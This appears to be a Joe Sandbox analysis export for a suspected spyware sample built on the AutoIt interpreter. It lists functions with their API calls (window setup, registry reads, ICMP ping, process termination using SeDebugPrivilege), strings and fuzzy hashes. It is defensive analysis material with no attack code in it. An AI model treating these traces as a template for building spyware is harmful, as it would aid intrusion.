Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 5848012a495aa5e43222cbde7b0ea9724a712aaa7d0dff0a65424ac637e5e022
Instruction ID: 8b4a5d4bf44b3d085ead19a4fe27f3b19e2b912cafaadd6bf574636732c8a6be
Opcode Fuzzy Hash: 5848012a495aa5e43222cbde7b0ea9724a712aaa7d0dff0a65424ac637e5e022
Instruction Fuzzy Hash: 9AC2AF716083419FDB24EF24C994FAEB7E0BF84304F15891DF58A9B2A1DB71E944CB92

Function 00A833E8 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00A83444
RegisterClassExW.USER32(00000030), ref: 00A8346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A8347F
InitCommonControlsEx.COMCTL32(?), ref: 00A8349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00A834AC
LoadIconW.USER32(000000A9), ref: 00A834C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00A834D1

Strings

TaskbarCreated, xrefs: 00A83474
AutoIt v3 GUI, xrefs: 00A83460
+, xrefs: 00A8342D
0, xrefs: 00A83426

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: dcdd6345a9fc27619fe2e0548fe947f508f21a87138cfe44297933ca715a6fab
Instruction ID: 8e4b1e057d8be9c1f91c6e1ef2bb08db1687b09a40301c4b7b53b1e93747e3da
Opcode Fuzzy Hash: dcdd6345a9fc27619fe2e0548fe947f508f21a87138cfe44297933ca715a6fab
Instruction Fuzzy Hash: 013116B5954309EFDB40DFA4D889BC9BBF4FB09310F50815AF590A72A0EBB50681CF90

Function 00A83411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00A83444
RegisterClassExW.USER32(00000030), ref: 00A8346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A8347F
InitCommonControlsEx.COMCTL32(?), ref: 00A8349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00A834AC
LoadIconW.USER32(000000A9), ref: 00A834C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00A834D1

Strings

TaskbarCreated, xrefs: 00A83474
AutoIt v3 GUI, xrefs: 00A83460
+, xrefs: 00A8342D
0, xrefs: 00A83426

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: db2481cc45551abe8e041504cfdf34f0d4a677e984364cd63c4ab6baaa9535ed
Instruction ID: f31650442481fcaafbbc9c50319c4ef66ceb4bc40a59f4f09c6d35b788c6ce3b
Opcode Fuzzy Hash: db2481cc45551abe8e041504cfdf34f0d4a677e984364cd63c4ab6baaa9535ed
Instruction Fuzzy Hash: 2F21E2B5964209AFDB00EFA5EC88BDDBBF4FB09700F40811AF510A72A0DBB11684CF91

Function 00A92FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00A93094), ref: 00AA00ED

Part of subcall function 00AA08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00A9309F), ref: 00AA08E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00A930E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00AD01BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00AD01FB
RegCloseKey.ADVAPI32(?), ref: 00AD0239
_wcscat.LIBCMT ref: 00AD0292

Strings

\, xrefs: 00AD02B5
Include, xrefs: 00AD01B1, 00AD01F2
Software\AutoIt v3\AutoIt, xrefs: 00A930D8
\Include\, xrefs: 00A9309F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 967bb0adf91945599c7ef3a8f1c28f2d829f61ec4b4bf5b4a344c7c8af752fa1
Instruction ID: b4d01445b2e9865e76340494e6cfc0ab1465e6cf64b3ae3b0a0945baa3ce7a47
Opcode Fuzzy Hash: 967bb0adf91945599c7ef3a8f1c28f2d829f61ec4b4bf5b4a344c7c8af752fa1
Instruction Fuzzy Hash: CC715A755057019EC714EF25E9859AFBBE8FF4A340F80052EF545872A1EFB09A88CB52

Function 00A9514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00A95156
LoadCursorW.USER32(00000000,00007F00), ref: 00A95165
LoadIconW.USER32(00000063), ref: 00A9517C
LoadIconW.USER32(000000A4), ref: 00A9518E
LoadIconW.USER32(000000A2), ref: 00A951A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00A951C6
RegisterClassExW.USER32(?), ref: 00A9521C

Part of subcall function 00A83411: GetSysColorBrush.USER32(0000000F), ref: 00A83444
Part of subcall function 00A83411: RegisterClassExW.USER32(00000030), ref: 00A8346E
Part of subcall function 00A83411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A8347F
Part of subcall function 00A83411: InitCommonControlsEx.COMCTL32(?), ref: 00A8349C
Part of subcall function 00A83411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00A834AC
Part of subcall function 00A83411: LoadIconW.USER32(000000A9), ref: 00A834C2
Part of subcall function 00A83411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00A834D1

Strings

#, xrefs: 00A95201
AutoIt v3, xrefs: 00A9520B
0, xrefs: 00A951FA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 47e3b98ff09a5d7ba1d238f6e5069f79e41b1fbf119f33c217a053da001ebe30
Instruction ID: 0f12deb6287ba2a4e4b12cb53c2ab1202f5c9bb6b6c23168952341082ef5c65a
Opcode Fuzzy Hash: 47e3b98ff09a5d7ba1d238f6e5069f79e41b1fbf119f33c217a053da001ebe30
Instruction Fuzzy Hash: 0F212879A94308AFEB119FA4ED09B9D7BB4FB0A710F00415AF504A72A0DFF55A50CF84

Function 00AF5E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00AF5E7E
inet_addr.WSOCK32(?,?,?), ref: 00AF5EC3
gethostbyname.WS2_32(?), ref: 00AF5ECF
IcmpCreateFile.IPHLPAPI ref: 00AF5EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00AF5F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00AF5F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00AF5FD8
WSACleanup.WSOCK32 ref: 00AF5FDE

Strings

Ping, xrefs: 00AF5F01

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 4cd4ebb9549287e7d6dfe621b3402919998a1086a82f8021c02b3bdb052bb73f
Instruction ID: 49832ca743681e398d5ce459e6e5cd36a4fe5a3e921d90acfd4f116fd2791ff4
Opcode Fuzzy Hash: 4cd4ebb9549287e7d6dfe621b3402919998a1086a82f8021c02b3bdb052bb73f
Instruction Fuzzy Hash: 9F516C31A04605AFDB20EF74CD49B6AB7E4AF48710F148569FB56DB2A1DB70ED40CB42

Function 00A94D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00A94E22
KillTimer.USER32(?,00000001), ref: 00A94E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00A94E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00A94E7A
CreatePopupMenu.USER32 ref: 00A94E8E
PostQuitMessage.USER32(00000000), ref: 00A94EAF

Strings

TaskbarCreated, xrefs: 00A94E75

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: bf9ba046e8bcf904b3525659e6faad6a7a133dbe4754c60959096a139f471b3f
Instruction ID: 897d1774475106063faa261d095eebc406ecf9df7ba4eb654ff79dc35553869b
Opcode Fuzzy Hash: bf9ba046e8bcf904b3525659e6faad6a7a133dbe4754c60959096a139f471b3f
Instruction Fuzzy Hash: 3141047135820AABEF116F249D4DFFE36E5FB4A300F040615F502922A2CFB49D52D761

Function 00AFF01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE4148: CreateToolhelp32Snapshot.KERNEL32 ref: 00AE416D
Part of subcall function 00AE4148: Process32FirstW.KERNEL32(00000000,?), ref: 00AE417B
Part of subcall function 00AE4148: CloseHandle.KERNEL32(00000000), ref: 00AE4245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00AFF08D
GetLastError.KERNEL32 ref: 00AFF0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00AFF0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00AFF14C
GetLastError.KERNEL32(00000000), ref: 00AFF157
CloseHandle.KERNEL32(00000000), ref: 00AFF18C

Strings

SeDebugPrivilege, xrefs: 00AFF0AB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: ef6210b9d73d30d7191642aee77cf983851a6cd938c423e9be794cbe9749e04b
Instruction ID: 706132fc3647137f9300a9c1ed4c0571650cd282e724133cdd8e3b6029bc5c73
Opcode Fuzzy Hash: ef6210b9d73d30d7191642aee77cf983851a6cd938c423e9be794cbe9749e04b
Instruction Fuzzy Hash: 1941DC31200205AFDB25EF64CD96F7DB7A5AF84714F048129FA029F392DFB4A844CB89

Function 00A956F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00AD0C5B

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

_memset.LIBCMT ref: 00A95787
_wcscpy.LIBCMT ref: 00A957DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00A957EB
__swprintf.LIBCMT ref: 00AD0CD1

Strings

Line %d: , xrefs: 00AD0CCB
AutoIt - , xrefs: 00A95760

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 23cce7f9c6edfc3f267f573d8ca5c85353754d8f3871279488ddf1d02fa695a2
Instruction ID: 5f4a0f08a4b015a5591e3a2f27d045797544370d18fe9267dff2096195fee711
Opcode Fuzzy Hash: 23cce7f9c6edfc3f267f573d8ca5c85353754d8f3871279488ddf1d02fa695a2
Instruction Fuzzy Hash: 1041C371548301AACB21EBA0DD86FDF77ECAF45350F000A1EF185931A1EF74A648CB96

Function 00A950DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00A95109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00A9512A
ShowWindow.USER32(00000000), ref: 00A9513E
ShowWindow.USER32(00000000), ref: 00A95147

Strings

AutoIt v3, xrefs: 00A95101, 00A95106, 00A95107
edit, xrefs: 00A95124

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 3814b7077104619d9ea6b1c8d679ee0bff41ae1b4887a554a8605b7877d6af7d
Instruction ID: a0637f9bec259105b620521c3a0f13a029b7964e14d6ec9da6c4bd32d3abcf45
Opcode Fuzzy Hash: 3814b7077104619d9ea6b1c8d679ee0bff41ae1b4887a554a8605b7877d6af7d
Instruction Fuzzy Hash: 37F0DA75595294BEEA312B276C48E672E7DE7C7F50F00411AB900A31B0CEF11991DEB0

Function 00AE9B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A94A8C: _fseek.LIBCMT ref: 00A94AA4

Part of subcall function 00AE9CF1: _wcscmp.LIBCMT ref: 00AE9DE1
Part of subcall function 00AE9CF1: _wcscmp.LIBCMT ref: 00AE9DF4

_free.LIBCMT ref: 00AE9C5F
_free.LIBCMT ref: 00AE9C66
_free.LIBCMT ref: 00AE9CD1

Part of subcall function 00AA2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00AA9C54,00000000,00AA8D5D,00AA59C3), ref: 00AA2F99
Part of subcall function 00AA2F85: GetLastError.KERNEL32(00000000,?,00AA9C54,00000000,00AA8D5D,00AA59C3), ref: 00AA2FAB

_free.LIBCMT ref: 00AE9CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00AE9B8F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: caf1c36b72c323921c34ab7f50917bc26bc4737177d4473bec785845541200b9
Instruction ID: 9361d79e5db46f4447eba50af48875057be6ff3220ae9e5db89c701848403602
Opcode Fuzzy Hash: caf1c36b72c323921c34ab7f50917bc26bc4737177d4473bec785845541200b9
Instruction Fuzzy Hash: EC514CB1E04259AFDF24DF65DD41AAEBBB9FF48304F10009EB649A3381DB715A908F58

Function 00AA563D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00AA569B
_memcpy_s.LIBCMT ref: 00AA570D
__read_nolock.LIBCMT ref: 00AA576B
__filbuf.LIBCMT ref: 00AA578E
_memset.LIBCMT ref: 00AA57D2

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: cb2303f1d3e9c89c51e9e2cccbf7490f827f949af38301549dcfd1a51d3f8236
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: 4E51C930E00B05DBDB288F79D98066E77B5AF42320F688B29F835A72D1D7709D509B48

Function 00A852B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A852E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A8534A
TranslateMessage.USER32(?), ref: 00A85356
DispatchMessageW.USER32(?), ref: 00A85360

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 1fe3d4a685245b42c205b5248c4bca777dc28103c8e7aaa08d5d9d260b73d281
Instruction ID: 77a65f453bcd6b79625028ca92479c1dbfad25418a90dcee57b55d6785c5642b
Opcode Fuzzy Hash: 1fe3d4a685245b42c205b5248c4bca777dc28103c8e7aaa08d5d9d260b73d281
Instruction Fuzzy Hash: 4F31E130D48B069AEB30AB74DC44BF93BF8EB02344F544169E8229B1A1EFE59985E711

Function 00A81284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00A81275,SwapMouseButtons,00000004,?), ref: 00A812A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00A81275,SwapMouseButtons,00000004,?), ref: 00A812C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00A81275,SwapMouseButtons,00000004,?), ref: 00A812EB

Strings

Control Panel\Mouse, xrefs: 00A812A6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 8daa6b34ae66c33e98e0b9a5964c7b58d71aa55c53bef98d6a8d7ceb2496736c
Instruction ID: 7a66616f99ecb2809d0506002f8ea8a7fea35bb736924be6c380cf63b2d49699
Opcode Fuzzy Hash: 8daa6b34ae66c33e98e0b9a5964c7b58d71aa55c53bef98d6a8d7ceb2496736c
Instruction Fuzzy Hash: FA111875910208BFDB20AFA5DC84EEEBBBCEF05741F508569F805D7110E6719E819BA0

Function 00AE3F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00B12C4C), ref: 00AE3F57
GetLastError.KERNEL32 ref: 00AE3F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00AE3F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00B12C4C), ref: 00AE3FD2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 2e214d34bcc1c754239853c26e645556807956f41d644e5851962716df96d953
Instruction ID: 3369b830081ebd6ec509315bb7ad7fffc65444f352fc973b9ed57e0e2883b1fe
Opcode Fuzzy Hash: 2e214d34bcc1c754239853c26e645556807956f41d644e5851962716df96d953
Instruction Fuzzy Hash: 2C21B7719082419F8B10DF29C8859AEB7F4FE55364F50461DF495CB2A1DB30DA45CB42

Function 00A95B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A95B58

Part of subcall function 00A956F8: _memset.LIBCMT ref: 00A95787
